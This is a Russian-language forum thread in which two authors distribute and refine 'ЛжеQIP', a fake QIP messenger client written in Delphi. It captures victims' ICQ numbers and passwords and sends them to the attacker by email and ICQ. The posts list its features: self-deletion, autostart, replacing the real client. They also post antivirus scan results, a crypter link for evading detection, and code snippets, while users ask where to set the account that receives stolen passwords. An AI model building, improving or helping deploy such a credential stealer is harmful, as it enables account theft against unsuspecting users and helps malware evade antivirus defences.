c0ded by LESHIY & TheSADIST ICQ:86626 TheSADIST Icq: 603590 1.Убрал при запуске форму #3 т.к. из за неё была ошибка с остальными формами.. Если когото смущает - Project:Options и перенисите форму 3 в список активных И поставьте её в качестве MainForm 2. Сделал якобы регистрацию с одной картинкой. Исправил пару мелких багов. Работаю на данный момент с фтп и статистикой.. Данное ПО предоставленно только в качестве ознакомительных целей.. За нанесение ущерба кому либо автора данного ЛжеQIP ответственности не несут. Download
Угумс.. Писдит пароли с квипа, т.е. пользователь сам отправляет вам свой пароль на мыло и на асикуу.. Дизайн почти один в один, кому что то ненравится, пусть переделывает..
Хм, а разве у нас палится? У нас ещё отправка на мыло, и сейчас добавлю ещё несколько функций.. И притом с открытым кодом.. "Зделаю фейки любой сложности пример: " С этим сорцом можно сделать самому.. У кого есть фантазия, сделать это проще простого.
LESHIY & TheSADIST +1 респект парни, за то 4то кодите для паблика. Немного доработать и всё будет ок.
Новая версия!=)) Итак: 1. Всплывающее окно о том что подключится нельзя=)) 2. Самоудаление (По желанию) 3. CopyFile в папку с QIP, заменение файла QIP=)) У меня там куча ошибок в тексте, желательно вам их исправить=) Скачать
opsik Когда у тебя что-то не выходит с первого раза ты сразу бежишь менять пороли и т.д. Ваш совт разный и то что его совта более популярна обьесняется ее халявностью. P.S. Сделай так чтоб пороль на аси сразу менялся и не будет проблем
Функции: 1.Самоудаление 2.Автозагрузка 3.Закрытие оригинального QIP 4.Копирование ЛжеQIP в папку с настоящим=) 5.Отправка на мыло number;password! 6.Отправка на ICQ number;password! thnx coban2k! 7. Всплывающее окно даже со звуком!=))) Всё это по желанию(см. сорцы) Планируется: Отправка номер;пасс на фтп-гейт=)) Данный софт и исходный код предоставленн только в качестве ознакомительных целей. Автора данного по ответственности не несут=) QIP HiJack! Рузультат проверки на ВирусСкан: A-Squared Found nothing AntiVir Found nothing ArcaVir Found nothing Avast Found Win32:Small-DJC AVG Antivirus Found nothing BitDefender Found nothing ClamAV Found nothing Dr.Web Found nothing F-Prot Antivirus Found nothing F-Secure Anti-Virus Found nothing Fortinet Found nothing Kaspersky Anti-Virus Found nothing NOD32 Found nothing Norman Virus Control Found nothing Panda Antivirus Found nothing Rising Antivirus Found nothing VirusBuster Found Packed/FSG VBA32 Found nothing
Нашел мелкие баги.... Найти: Code: procedure TForm1.btn5Click(Sender: TObject); var m:Pchar; begin if edt2.Text='' then ShowMessage('Введите пароль для регистрации нового номера ICQ'); sleep(2000); Image1.Visible:=true; pnl2.Caption:='Картинка полученна...' end; Заменить на Code: procedure TForm1.btn5Click(Sender: TObject); var m:Pchar; begin if edt2.Text='' then ShowMessage('Введите пароль для регистрации нового номера ICQ') else begin Image1.Visible := true; pnl2.Caption := 'Картинка получена..' end; end; Т.к. если поле нового пароля пусто и нажать на кнопку "Показать новую картинку" то выведется алерт о том что пароль не введен, но потом все равно картинка загрузится
Криптор для QIP у кого он спалится=) http://www.airwaychat.info/QIP[CRYPT].rar A-Squared Found nothing AntiVir Found nothing ArcaVir Found nothing Avast Found nothing AVG Antivirus Found nothing BitDefender Found BehavesLike:Win32.ProcessHijack (probable variant) ClamAV Found nothing Dr.Web Found nothing F-Prot Antivirus Found nothing F-Secure Anti-Virus Found nothing Fortinet Found nothing Kaspersky Anti-Virus Found nothing NOD32 Found nothing Norman Virus Control Found nothing Panda Antivirus Found nothing Rising Antivirus Found nothing VirusBuster Found nothing VBA32 Found nothing
Большое спасибо автору, отличная вещь. Но у меня возникло несколько вопросов, так как туго у меня с делфи. В делфи 7 при открытии исходника у меня выскакивает ошибка http://slil.ru/24548559 Может подскажите как исправить. И еще где в коде прописать на какую ась будут уплывать парли?
В общем проблем нет никаких... Установи асику компонент. Он лежит в папке с сорцами в ICQclient Components ну или что-то наподобии =) Просто у нас с лешим немного разные названия т.к. выкладывает он и последняя редакция его... =) А аську и пароль надо вписывать в форме 1 в самом низу два текст эдита...
Так, компонеты я добавил. Вот немного не втыкаю куда асю прописать куда пароли будут отплывать. Вот отрывок из формы 1 (низ страници) Code: procedure TForm1.btn5Click(Sender: TObject); var m:Pchar; begin [COLOR=Green]if edt2.Text=''[/COLOR] then ShowMessage('Введите пароль для регистрации нового номера ICQ'); sleep(2000); Image1.Visible:=true; pnl2.Caption:='Картинка полученна..' end; procedure TForm1.edt3Change(Sender: TObject); begin [COLOR=Green]if edt3.Text='35347' then[/COLOR] btn6.Enabled:=true else btn6.Enabled:=false; end; Правельно я выделил зеленым цветом куда надо вписать свою аську ? Извените, но тока скачал учебник по делфи. Спасибо заранее.
